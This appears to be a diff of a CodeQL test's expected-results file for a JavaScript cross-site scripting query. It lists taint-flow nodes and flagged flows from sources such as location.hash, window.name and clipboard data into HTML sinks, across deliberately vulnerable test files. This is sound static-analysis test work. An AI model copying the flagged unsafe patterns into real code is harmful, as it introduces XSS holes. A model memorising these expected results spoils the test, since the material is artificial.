-| tst.js:332:18:332:35 | params.get('name') | semmle.label | params.get('name') |
-| tst.js:341:12:341:37 | new URL ... cation) [hash] | semmle.label | new URL ... cation) [hash] |
-| tst.js:341:20:341:36 | document.location | semmle.label | document.location |
-| tst.js:343:5:343:12 | getUrl() [hash] | semmle.label | getUrl() [hash] |
-| tst.js:343:5:343:17 | getUrl().hash | semmle.label | getUrl().hash |
-| tst.js:343:5:343:30 | getUrl( ... ring(1) | semmle.label | getUrl( ... ring(1) |
-| tst.js:348:7:348:39 | target | semmle.label | target |
-| tst.js:348:16:348:39 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:349:12:349:17 | target | semmle.label | target |
-| tst.js:355:10:355:42 | target | semmle.label | target |
-| tst.js:355:19:355:42 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:356:16:356:21 | target | semmle.label | target |
-| tst.js:357:20:357:25 | target | semmle.label | target |
-| tst.js:360:21:360:26 | target | semmle.label | target |
-| tst.js:363:18:363:23 | target | semmle.label | target |
-| tst.js:371:7:371:39 | target | semmle.label | target |
-| tst.js:371:16:371:39 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:374:18:374:23 | target | semmle.label | target |
-| tst.js:381:7:381:39 | target | semmle.label | target |
-| tst.js:381:16:381:39 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:384:18:384:23 | target | semmle.label | target |
-| tst.js:386:18:386:23 | target | semmle.label | target |
-| tst.js:386:18:386:29 | target.taint | semmle.label | target.taint |
-| tst.js:391:3:391:8 | [post update] target [taint3] | semmle.label | [post update] target [taint3] |
-| tst.js:391:19:391:42 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:392:18:392:23 | target [taint3] | semmle.label | target [taint3] |
-| tst.js:392:18:392:30 | target.taint3 | semmle.label | target.taint3 |
-| tst.js:397:18:397:23 | target | semmle.label | target |
-| tst.js:397:18:397:30 | target.taint5 | semmle.label | target.taint5 |
-| tst.js:406:18:406:23 | target | semmle.label | target |
-| tst.js:406:18:406:30 | target.taint7 | semmle.label | target.taint7 |
-| tst.js:408:3:408:8 | [post update] target [taint8] | semmle.label | [post update] target [taint8] |
-| tst.js:408:19:408:24 | target | semmle.label | target |
-| tst.js:408:19:408:24 | target [taint8] | semmle.label | target [taint8] |
-| tst.js:408:19:408:31 | target.taint8 | semmle.label | target.taint8 |
-| tst.js:409:18:409:23 | target [taint8] | semmle.label | target [taint8] |
-| tst.js:409:18:409:30 | target.taint8 | semmle.label | target.taint8 |
-| tst.js:416:7:416:46 | payload | semmle.label | payload |
-| tst.js:416:17:416:36 | window.location.hash | semmle.label | window.location.hash |
-| tst.js:416:17:416:46 | window. ... bstr(1) | semmle.label | window. ... bstr(1) |
-| tst.js:417:18:417:24 | payload | semmle.label | payload |
-| tst.js:419:7:419:55 | match | semmle.label | match |
-| tst.js:419:15:419:34 | window.location.hash | semmle.label | window.location.hash |
-| tst.js:419:15:419:55 | window. ... (\\w+)/) | semmle.label | window. ... (\\w+)/) |
-| tst.js:421:20:421:24 | match | semmle.label | match |
-| tst.js:421:20:421:27 | match[1] | semmle.label | match[1] |
-| tst.js:424:18:424:37 | window.location.hash | semmle.label | window.location.hash |
-| tst.js:424:18:424:48 | window. ... it('#') [1] | semmle.label | window. ... it('#') [1] |
-| tst.js:424:18:424:51 | window. ... '#')[1] | semmle.label | window. ... '#')[1] |
-| tst.js:428:7:428:39 | target | semmle.label | target |
-| tst.js:428:16:428:39 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:430:18:430:23 | target | semmle.label | target |
-| tst.js:430:18:430:89 | target. ... data>') | semmle.label | target. ... data>') |
-| tst.js:436:6:436:38 | source | semmle.label | source |
-| tst.js:436:15:436:38 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:440:28:440:33 | source | semmle.label | source |
-| tst.js:441:33:441:38 | source | semmle.label | source |
-| tst.js:442:34:442:39 | source | semmle.label | source |
-| tst.js:443:41:443:46 | source | semmle.label | source |
-| tst.js:444:44:444:49 | source | semmle.label | source |
-| tst.js:445:32:445:37 | source | semmle.label | source |
-| tst.js:453:7:453:39 | source | semmle.label | source |
-| tst.js:453:16:453:39 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:455:18:455:23 | source | semmle.label | source |
-| tst.js:456:18:456:42 | ansiToH ... source) | semmle.label | ansiToH ... source) |
-| tst.js:456:36:456:41 | source | semmle.label | source |
-| tst.js:460:6:460:38 | source | semmle.label | source |
-| tst.js:460:15:460:38 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:463:21:463:26 | source | semmle.label | source |
-| tst.js:465:19:465:24 | source | semmle.label | source |
-| tst.js:467:20:467:25 | source | semmle.label | source |
-| tst.js:471:7:471:46 | url | semmle.label | url |
-| tst.js:471:13:471:36 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:471:13:471:46 | documen ... bstr(1) | semmle.label | documen ... bstr(1) |
-| tst.js:473:19:473:21 | url | semmle.label | url |
-| tst.js:474:26:474:28 | url | semmle.label | url |
-| tst.js:475:25:475:27 | url | semmle.label | url |
-| tst.js:476:20:476:22 | url | semmle.label | url |
-| tst.js:486:22:486:24 | url | semmle.label | url |
-| tst.js:491:23:491:35 | location.hash | semmle.label | location.hash |
-| tst.js:491:23:491:45 | locatio ... bstr(1) | semmle.label | locatio ... bstr(1) |
-| tst.js:494:18:494:30 | location.hash | semmle.label | location.hash |
-| tst.js:494:18:494:40 | locatio ... bstr(1) | semmle.label | locatio ... bstr(1) |
-| tst.js:501:33:501:63 | decodeU ... n.hash) | semmle.label | decodeU ... n.hash) |
-| tst.js:501:43:501:62 | window.location.hash | semmle.label | window.location.hash |
-| tst.js:508:7:508:39 | target | semmle.label | target |
-| tst.js:508:16:508:39 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:509:18:509:23 | target | semmle.label | target |
-| tst.js:509:18:509:54 | target. ... "), '') | semmle.label | target. ... "), '') |
-| typeahead.js:20:13:20:45 | target | semmle.label | target |
-| typeahead.js:20:22:20:45 | documen ... .search | semmle.label | documen ... .search |
-| typeahead.js:21:12:21:17 | target | semmle.label | target |
-| typeahead.js:24:30:24:32 | val | semmle.label | val |
-| typeahead.js:25:18:25:20 | val | semmle.label | val |
-| various-concat-obfuscations.js:2:6:2:39 | tainted | semmle.label | tainted |
-| various-concat-obfuscations.js:2:16:2:39 | documen ... .search | semmle.label | documen ... .search |
-| various-concat-obfuscations.js:4:4:4:31 | "<div>" ... </div>" | semmle.label | "<div>" ... </div>" |
-| various-concat-obfuscations.js:4:14:4:20 | tainted | semmle.label | tainted |
-| various-concat-obfuscations.js:5:4:5:26 | `<div>$ ... </div>` | semmle.label | `<div>$ ... </div>` |
-| various-concat-obfuscations.js:5:12:5:18 | tainted | semmle.label | tainted |
-| various-concat-obfuscations.js:6:4:6:26 | "<div>" ... ainted) | semmle.label | "<div>" ... ainted) |
-| various-concat-obfuscations.js:6:4:6:43 | "<div>" ... /div>") | semmle.label | "<div>" ... /div>") |
-| various-concat-obfuscations.js:6:19:6:25 | tainted | semmle.label | tainted |
-| various-concat-obfuscations.js:7:4:7:31 | ["<div> ... /div>"] | semmle.label | ["<div> ... /div>"] |
-| various-concat-obfuscations.js:7:4:7:38 | ["<div> ... .join() | semmle.label | ["<div> ... .join() |
-| various-concat-obfuscations.js:7:14:7:20 | tainted | semmle.label | tainted |
-| various-concat-obfuscations.js:9:4:9:34 | "<div i ...  "\\"/>" | semmle.label | "<div i ...  "\\"/>" |
-| various-concat-obfuscations.js:9:19:9:25 | tainted | semmle.label | tainted |
-| various-concat-obfuscations.js:10:4:10:27 | `<div i ... ed}"/>` | semmle.label | `<div i ... ed}"/>` |
-| various-concat-obfuscations.js:10:16:10:22 | tainted | semmle.label | tainted |
-| various-concat-obfuscations.js:11:4:11:31 | "<div i ... ainted) | semmle.label | "<div i ... ainted) |
-| various-concat-obfuscations.js:11:4:11:44 | "<div i ... t("/>") | semmle.label | "<div i ... t("/>") |
-| various-concat-obfuscations.js:11:24:11:30 | tainted | semmle.label | tainted |
-| various-concat-obfuscations.js:12:4:12:34 | ["<div  ... "\\"/>"] | semmle.label | ["<div  ... "\\"/>"] |
-| various-concat-obfuscations.js:12:4:12:41 | ["<div  ... .join() | semmle.label | ["<div  ... .join() |
-| various-concat-obfuscations.js:12:19:12:25 | tainted | semmle.label | tainted |
-| various-concat-obfuscations.js:14:24:14:28 | attrs | semmle.label | attrs |
-| various-concat-obfuscations.js:15:10:15:83 | '<div a ... </div>' | semmle.label | '<div a ... </div>' |
-| various-concat-obfuscations.js:15:27:15:55 | (attrs. ... 'left') | semmle.label | (attrs. ... 'left') |
-| various-concat-obfuscations.js:15:28:15:32 | attrs | semmle.label | attrs |
-| various-concat-obfuscations.js:17:24:17:28 | attrs | semmle.label | attrs |
-| various-concat-obfuscations.js:18:10:18:59 | '<div a ... 'left') | semmle.label | '<div a ... 'left') |
-| various-concat-obfuscations.js:18:10:18:88 | '<div a ... ntent)) | semmle.label | '<div a ... ntent)) |
-| various-concat-obfuscations.js:18:10:18:88 | '<div a ... ntent)) [ArrayElement] | semmle.label | '<div a ... ntent)) [ArrayElement] |
-| various-concat-obfuscations.js:18:10:18:105 | '<div a ... /div>') | semmle.label | '<div a ... /div>') |
-| various-concat-obfuscations.js:18:10:18:105 | '<div a ... /div>') [ArrayElement] | semmle.label | '<div a ... /div>') [ArrayElement] |
-| various-concat-obfuscations.js:18:32:18:36 | attrs | semmle.label | attrs |
-| various-concat-obfuscations.js:18:32:18:58 | attrs.d ...  'left' | semmle.label | attrs.d ...  'left' |
-| various-concat-obfuscations.js:20:4:20:47 | indirec ... .attrs) | semmle.label | indirec ... .attrs) |
-| various-concat-obfuscations.js:20:17:20:40 | documen ... .search | semmle.label | documen ... .search |
-| various-concat-obfuscations.js:20:17:20:46 | documen ... h.attrs | semmle.label | documen ... h.attrs |
-| various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) | semmle.label | indirec ... .attrs) |
-| various-concat-obfuscations.js:21:17:21:40 | documen ... .search | semmle.label | documen ... .search |
-| various-concat-obfuscations.js:21:17:21:46 | documen ... h.attrs | semmle.label | documen ... h.attrs |
-| winjs.js:2:7:2:53 | tainted | semmle.label | tainted |
-| winjs.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search |
-| winjs.js:2:17:2:53 | documen ... ring(1) | semmle.label | documen ... ring(1) |
-| winjs.js:3:43:3:49 | tainted | semmle.label | tainted |
-| winjs.js:4:43:4:49 | tainted | semmle.label | tainted |
+#select
+| addEventListener.js:2:20:2:29 | event.data | addEventListener.js:1:43:1:47 | event | addEventListener.js:2:20:2:29 | event.data | Cross-site scripting vulnerability due to $@. | addEventListener.js:1:43:1:47 | event | user-provided value |
+| addEventListener.js:6:20:6:23 | data | addEventListener.js:5:43:5:48 | {data} | addEventListener.js:6:20:6:23 | data | Cross-site scripting vulnerability due to $@. | addEventListener.js:5:43:5:48 | {data} | user-provided value |
+| addEventListener.js:12:24:12:33 | event.data | addEventListener.js:10:21:10:25 | event | addEventListener.js:12:24:12:33 | event.data | Cross-site scripting vulnerability due to $@. | addEventListener.js:10:21:10:25 | event | user-provided value |
+| angular2-client.ts:24:44:24:71 | \\u0275getDOM ... ().href | angular2-client.ts:24:44:24:71 | \\u0275getDOM ... ().href | angular2-client.ts:24:44:24:71 | \\u0275getDOM ... ().href | Cross-site scripting vulnerability due to $@. | angular2-client.ts:24:44:24:71 | \\u0275getDOM ... ().href | user-provided value |
+| angular2-client.ts:26:44:26:73 | this.ro ... ams.foo | angular2-client.ts:26:44:26:69 | this.ro ... .params | angular2-client.ts:26:44:26:73 | this.ro ... ams.foo | Cross-site scripting vulnerability due to $@. | angular2-client.ts:26:44:26:69 | this.ro ... .params | user-provided value |
+| angular2-client.ts:27:44:27:78 | this.ro ... ams.foo | angular2-client.ts:27:44:27:74 | this.ro ... yParams | angular2-client.ts:27:44:27:78 | this.ro ... ams.foo | Cross-site scripting vulnerability due to $@. | angular2-client.ts:27:44:27:74 | this.ro ... yParams | user-provided value |
+| angular2-client.ts:28:44:28:71 | this.ro ... ragment | angular2-client.ts:28:44:28:71 | this.ro ... ragment | angular2-client.ts:28:44:28:71 | this.ro ... ragment | Cross-site scripting vulnerability due to $@. | angular2-client.ts:28:44:28:71 | this.ro ... ragment | user-provided value |
+| angular2-client.ts:29:44:29:82 | this.ro ... ('foo') | angular2-client.ts:29:44:29:82 | this.ro ... ('foo') | angular2-client.ts:29:44:29:82 | this.ro ... ('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:29:44:29:82 | this.ro ... ('foo') | user-provided value |
+| angular2-client.ts:30:44:30:87 | this.ro ... ('foo') | angular2-client.ts:30:44:30:87 | this.ro ... ('foo') | angular2-client.ts:30:44:30:87 | this.ro ... ('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:30:44:30:87 | this.ro ... ('foo') | user-provided value |
+| angular2-client.ts:32:46:32:59 | map.get('foo') | angular2-client.ts:32:46:32:59 | map.get('foo') | angular2-client.ts:32:46:32:59 | map.get('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:32:46:32:59 | map.get('foo') | user-provided value |
+| angular2-client.ts:35:44:35:74 | this.ro ... 1].path | angular2-client.ts:35:44:35:74 | this.ro ... 1].path | angular2-client.ts:35:44:35:74 | this.ro ... 1].path | Cross-site scripting vulnerability due to $@. | angular2-client.ts:35:44:35:74 | this.ro ... 1].path | user-provided value |
+| angular2-client.ts:36:44:36:82 | this.ro ... eters.x | angular2-client.ts:36:44:36:80 | this.ro ... ameters | angular2-client.ts:36:44:36:82 | this.ro ... eters.x | Cross-site scripting vulnerability due to $@. | angular2-client.ts:36:44:36:80 | this.ro ... ameters | user-provided value |
+| angular2-client.ts:37:44:37:91 | this.ro ... et('x') | angular2-client.ts:37:44:37:91 | this.ro ... et('x') | angular2-client.ts:37:44:37:91 | this.ro ... et('x') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:37:44:37:91 | this.ro ... et('x') | user-provided value |
+| angular2-client.ts:38:44:38:91 | this.ro ... arams.x | angular2-client.ts:38:44:38:89 | this.ro ... .params | angular2-client.ts:38:44:38:91 | this.ro ... arams.x | Cross-site scripting vulnerability due to $@. | angular2-client.ts:38:44:38:89 | this.ro ... .params | user-provided value |
+| angular2-client.ts:40:44:40:58 | this.router.url | angular2-client.ts:40:44:40:58 | this.router.url | angular2-client.ts:40:44:40:58 | this.router.url | Cross-site scripting vulnerability due to $@. | angular2-client.ts:40:44:40:58 | this.router.url | user-provided value |
+| angular2-client.ts:42:45:42:59 | this.router.url | angular2-client.ts:42:45:42:59 | this.router.url | angular2-client.ts:42:45:42:59 | this.router.url | Cross-site scripting vulnerability due to $@. | angular2-client.ts:42:45:42:59 | this.router.url | user-provided value |
+| angular2-client.ts:43:75:43:109 | this.ro ... ams.foo | angular2-client.ts:43:75:43:105 | this.ro ... yParams | angular2-client.ts:43:75:43:109 | this.ro ... ams.foo | Cross-site scripting vulnerability due to $@. | angular2-client.ts:43:75:43:105 | this.ro ... yParams | user-provided value |
+| angular2-client.ts:47:44:47:76 | routeSn ... ('foo') | angular2-client.ts:47:44:47:76 | routeSn ... ('foo') | angular2-client.ts:47:44:47:76 | routeSn ... ('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:47:44:47:76 | routeSn ... ('foo') | user-provided value |
+| angular-tempate-url.js:9:26:9:45 | Cookie.get("unsafe") | angular-tempate-url.js:13:30:13:31 | ev | angular-tempate-url.js:9:26:9:45 | Cookie.get("unsafe") | Cross-site scripting vulnerability due to $@. | angular-tempate-url.js:13:30:13:31 | ev | user-provided value |
+| classnames.js:7:31:7:84 | `<span  ... <span>` | classnames.js:7:58:7:68 | window.name | classnames.js:7:31:7:84 | `<span  ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:7:58:7:68 | window.name | user-provided value |
+| classnames.js:8:31:8:85 | `<span  ... <span>` | classnames.js:8:59:8:69 | window.name | classnames.js:8:31:8:85 | `<span  ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:8:59:8:69 | window.name | user-provided value |
+| classnames.js:9:31:9:85 | `<span  ... <span>` | classnames.js:9:59:9:69 | window.name | classnames.js:9:31:9:85 | `<span  ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:9:59:9:69 | window.name | user-provided value |
+| classnames.js:11:31:11:79 | `<span  ... <span>` | classnames.js:10:45:10:55 | window.name | classnames.js:11:31:11:79 | `<span  ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:10:45:10:55 | window.name | user-provided value |
+| classnames.js:13:31:13:83 | `<span  ... <span>` | classnames.js:13:57:13:67 | window.name | classnames.js:13:31:13:83 | `<span  ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:13:57:13:67 | window.name | user-provided value |
+| classnames.js:15:31:15:78 | `<span  ... <span>` | classnames.js:15:52:15:62 | window.name | classnames.js:15:31:15:78 | `<span  ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:15:52:15:62 | window.name | user-provided value |
+| classnames.js:17:32:17:79 | `<span  ... <span>` | classnames.js:17:53:17:63 | window.name | classnames.js:17:32:17:79 | `<span  ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:17:53:17:63 | window.name | user-provided value |
+| clipboard.ts:15:25:15:28 | html | clipboard.ts:8:18:8:51 | clipboa ... /html') | clipboard.ts:15:25:15:28 | html | Cross-site scripting vulnerability due to $@. | clipboard.ts:8:18:8:51 | clipboa ... /html') | user-provided value |
+| clipboard.ts:24:23:24:58 | e.clipb ... /html') | clipboard.ts:24:23:24:58 | e.clipb ... /html') | clipboard.ts:24:23:24:58 | e.clipb ... /html') | Cross-site scripting vulnerability due to $@. | clipboard.ts:24:23:24:58 | e.clipb ... /html') | user-provided value |
+| clipboard.ts:29:19:29:54 | e.clipb ... /html') | clipboard.ts:29:19:29:54 | e.clipb ... /html') | clipboard.ts:29:19:29:54 | e.clipb ... /html') | Cross-site scripting vulnerability due to $@. | clipboard.ts:29:19:29:54 | e.clipb ... /html') | user-provided value |
+| clipboard.ts:33:19:33:68 | e.origi ... /html') | clipboard.ts:33:19:33:68 | e.origi ... /html') | clipboard.ts:33:19:33:68 | e.origi ... /html') | Cross-site scripting vulnerability due to $@. | clipboard.ts:33:19:33:68 | e.origi ... /html') | user-provided value |
+| clipboard.ts:50:29:50:32 | html | clipboard.ts:43:22:43:55 | clipboa ... /html') | clipboard.ts:50:29:50:32 | html | Cross-site scripting vulnerability due to $@. | clipboard.ts:43:22:43:55 | clipboa ... /html') | user-provided value |
+| clipboard.ts:73:29:73:39 | droppedHtml | clipboard.ts:71:27:71:62 | e.clipb ... /html') | clipboard.ts:73:29:73:39 | droppedHtml | Cross-site scripting vulnerability due to $@. | clipboard.ts:71:27:71:62 | e.clipb ... /html') | user-provided value |
+| clipboard.ts:99:23:99:26 | html | clipboard.ts:98:22:98:54 | dataTra ... /html') | clipboard.ts:99:23:99:26 | html | Cross-site scripting vulnerability due to $@. | clipboard.ts:98:22:98:54 | dataTra ... /html') | user-provided value |
+| custom-element.js:5:26:5:36 | window.name | custom-element.js:5:26:5:36 | window.name | custom-element.js:5:26:5:36 | window.name | Cross-site scripting vulnerability due to $@. | custom-element.js:5:26:5:36 | window.name | user-provided value |
+| d3.js:11:15:11:24 | getTaint() | d3.js:4:12:4:22 | window.name | d3.js:11:15:11:24 | getTaint() | Cross-site scripting vulnerability due to $@. | d3.js:4:12:4:22 | window.name | user-provided value |
+| d3.js:12:20:12:29 | getTaint() | d3.js:4:12:4:22 | window.name | d3.js:12:20:12:29 | getTaint() | Cross-site scripting vulnerability due to $@. | d3.js:4:12:4:22 | window.name | user-provided value |
+| d3.js:14:20:14:29 | getTaint() | d3.js:4:12:4:22 | window.name | d3.js:14:20:14:29 | getTaint() | Cross-site scripting vulnerability due to $@. | d3.js:4:12:4:22 | window.name | user-provided value |
+| d3.js:21:15:21:24 | getTaint() | d3.js:4:12:4:22 | window.name | d3.js:21:15:21:24 | getTaint() | Cross-site scripting vulnerability due to $@. | d3.js:4:12:4:22 | window.name | user-provided value |
+| dates.js:11:31:11:70 | `Time i ... aint)}` | dates.js:9:36:9:55 | window.location.hash | dates.js:11:31:11:70 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:9:36:9:55 | window.location.hash | user-provided value |
+| dates.js:12:31:12:73 | `Time i ... aint)}` | dates.js:9:36:9:55 | window.location.hash | dates.js:12:31:12:73 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:9:36:9:55 | window.location.hash | user-provided value |
+| dates.js:13:31:13:72 | `Time i ... time)}` | dates.js:9:36:9:55 | window.location.hash | dates.js:13:31:13:72 | `Time i ... time)}` | Cross-site scripting vulnerability due to $@. | dates.js:9:36:9:55 | window.location.hash | user-provided value |
+| dates.js:16:31:16:69 | `Time i ... aint)}` | dates.js:9:36:9:55 | window.location.hash | dates.js:16:31:16:69 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:9:36:9:55 | window.location.hash | user-provided value |
+| dates.js:18:31:18:66 | `Time i ... aint)}` | dates.js:9:36:9:55 | window.location.hash | dates.js:18:31:18:66 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:9:36:9:55 | window.location.hash | user-provided value |
+| dates.js:21:31:21:68 | `Time i ... aint)}` | dates.js:9:36:9:55 | window.location.hash | dates.js:21:31:21:68 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:9:36:9:55 | window.location.hash | user-provided value |
+| dates.js:37:31:37:84 | `Time i ... aint)}` | dates.js:30:36:30:55 | window.location.hash | dates.js:37:31:37:84 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:30:36:30:55 | window.location.hash | user-provided value |
+| dates.js:38:31:38:84 | `Time i ... aint)}` | dates.js:30:36:30:55 | window.location.hash | dates.js:38:31:38:84 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:30:36:30:55 | window.location.hash | user-provided value |
+| dates.js:39:31:39:86 | `Time i ... aint)}` | dates.js:30:36:30:55 | window.location.hash | dates.js:39:31:39:86 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:30:36:30:55 | window.location.hash | user-provided value |
+| dates.js:40:31:40:84 | `Time i ... aint)}` | dates.js:30:36:30:55 | window.location.hash | dates.js:40:31:40:84 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:30:36:30:55 | window.location.hash | user-provided value |
+| dates.js:48:31:48:90 | `Time i ... aint)}` | dates.js:46:36:46:55 | window.location.hash | dates.js:48:31:48:90 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:46:36:46:55 | window.location.hash | user-provided value |
+| dates.js:49:31:49:89 | `Time i ... aint)}` | dates.js:46:36:46:55 | window.location.hash | dates.js:49:31:49:89 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:46:36:46:55 | window.location.hash | user-provided value |
+| dates.js:50:31:50:104 | `Time i ... aint)}` | dates.js:46:36:46:55 | window.location.hash | dates.js:50:31:50:104 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:46:36:46:55 | window.location.hash | user-provided value |
+| dates.js:57:31:57:101 | `Time i ... aint)}` | dates.js:54:36:54:55 | window.location.hash | dates.js:57:31:57:101 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:54:36:54:55 | window.location.hash | user-provided value |
+| dates.js:59:31:59:87 | `Time i ... aint)}` | dates.js:54:36:54:55 | window.location.hash | dates.js:59:31:59:87 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:54:36:54:55 | window.location.hash | user-provided value |
+| dates.js:61:31:61:88 | `Time i ... aint)}` | dates.js:54:36:54:55 | window.location.hash | dates.js:61:31:61:88 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:54:36:54:55 | window.location.hash | user-provided value |
+| dragAndDrop.ts:15:25:15:28 | html | dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | dragAndDrop.ts:15:25:15:28 | html | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | user-provided value |
+| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | user-provided value |
+| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | user-provided value |
+| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | user-provided value |
+| dragAndDrop.ts:50:29:50:32 | html | dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | dragAndDrop.ts:50:29:50:32 | html | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | user-provided value |
+| dragAndDrop.ts:73:29:73:39 | droppedHtml | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:73:29:73:39 | droppedHtml | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | user-provided value |
+| event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | Cross-site scripting vulnerability due to $@. | event-handler-receiver.js:2:49:2:61 | location.href | user-provided value |
+| express.js:6:15:6:33 | req.param("wobble") | express.js:6:15:6:33 | req.param("wobble") | express.js:6:15:6:33 | req.param("wobble") | Cross-site scripting vulnerability due to $@. | express.js:6:15:6:33 | req.param("wobble") | user-provided value |
+| jquery.js:7:5:7:34 | "<div i ... + "\\">" | jquery.js:2:17:2:40 | documen ... .search | jquery.js:7:5:7:34 | "<div i ... + "\\">" | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value |
+| jquery.js:8:18:8:34 | "XSS: " + tainted | jquery.js:2:17:2:40 | documen ... .search | jquery.js:8:18:8:34 | "XSS: " + tainted | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value |
+| jquery.js:10:5:10:40 | "<b>" + ...  "</b>" | jquery.js:10:13:10:20 | location | jquery.js:10:5:10:40 | "<b>" + ...  "</b>" | Cross-site scripting vulnerability due to $@. | jquery.js:10:13:10:20 | location | user-provided value |
+| jquery.js:14:19:14:58 | decodeU ... n.hash) | jquery.js:14:38:14:57 | window.location.hash | jquery.js:14:19:14:58 | decodeU ... n.hash) | Cross-site scripting vulnerability due to $@. | jquery.js:14:38:14:57 | window.location.hash | user-provided value |
+| jquery.js:15:19:15:60 | decodeU ... search) | jquery.js:15:38:15:59 | window. ... .search | jquery.js:15:19:15:60 | decodeU ... search) | Cross-site scripting vulnerability due to $@. | jquery.js:15:38:15:59 | window. ... .search | user-provided value |
+| jquery.js:16:19:16:64 | decodeU ... ring()) | jquery.js:16:38:16:52 | window.location | jquery.js:16:19:16:64 | decodeU ... ring()) | Cross-site scripting vulnerability due to $@. | jquery.js:16:38:16:52 | window.location | user-provided value |
+| jquery.js:21:5:21:21 | hash.substring(1) | jquery.js:18:14:18:33 | window.location.hash | jquery.js:21:5:21:21 | hash.substring(1) | Cross-site scripting vulnerability due to $@. | jquery.js:18:14:18:33 | window.location.hash | user-provided value |
+| jquery.js:22:5:22:25 | hash.su ... (1, 10) | jquery.js:18:14:18:33 | window.location.hash | jquery.js:22:5:22:25 | hash.su ... (1, 10) | Cross-site scripting vulnerability due to $@. | jquery.js:18:14:18:33 | window.location.hash | user-provided value |
+| jquery.js:23:5:23:18 | hash.substr(1) | jquery.js:18:14:18:33 | window.location.hash | jquery.js:23:5:23:18 | hash.substr(1) | Cross-site scripting vulnerability due to $@. | jquery.js:18:14:18:33 | window.location.hash | user-provided value |
+| jquery.js:24:5:24:17 | hash.slice(1) | jquery.js:18:14:18:33 | window.location.hash | jquery.js:24:5:24:17 | hash.slice(1) | Cross-site scripting vulnerability due to $@. | jquery.js:18:14:18:33 | window.location.hash | user-provided value |
+| jquery.js:27:5:27:25 | hash.re ... #', '') | jquery.js:18:14:18:33 | window.location.hash | jquery.js:27:5:27:25 | hash.re ... #', '') | Cross-site scripting vulnerability due to $@. | jquery.js:18:14:18:33 | window.location.hash | user-provided value |
+| jquery.js:28:5:28:43 | window. ... ?', '') | jquery.js:28:5:28:26 | window. ... .search | jquery.js:28:5:28:43 | window. ... ?', '') | Cross-site scripting vulnerability due to $@. | jquery.js:28:5:28:26 | window. ... .search | user-provided value |
+| jquery.js:34:5:34:25 | '<b>' + ...  '</b>' | jquery.js:18:14:18:33 | window.location.hash | jquery.js:34:5:34:25 | '<b>' + ...  '</b>' | Cross-site scripting vulnerability due to $@. | jquery.js:18:14:18:33 | window.location.hash | user-provided value |
+| jquery.js:36:25:36:31 | tainted | jquery.js:2:17:2:40 | documen ... .search | jquery.js:36:25:36:31 | tainted | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value |
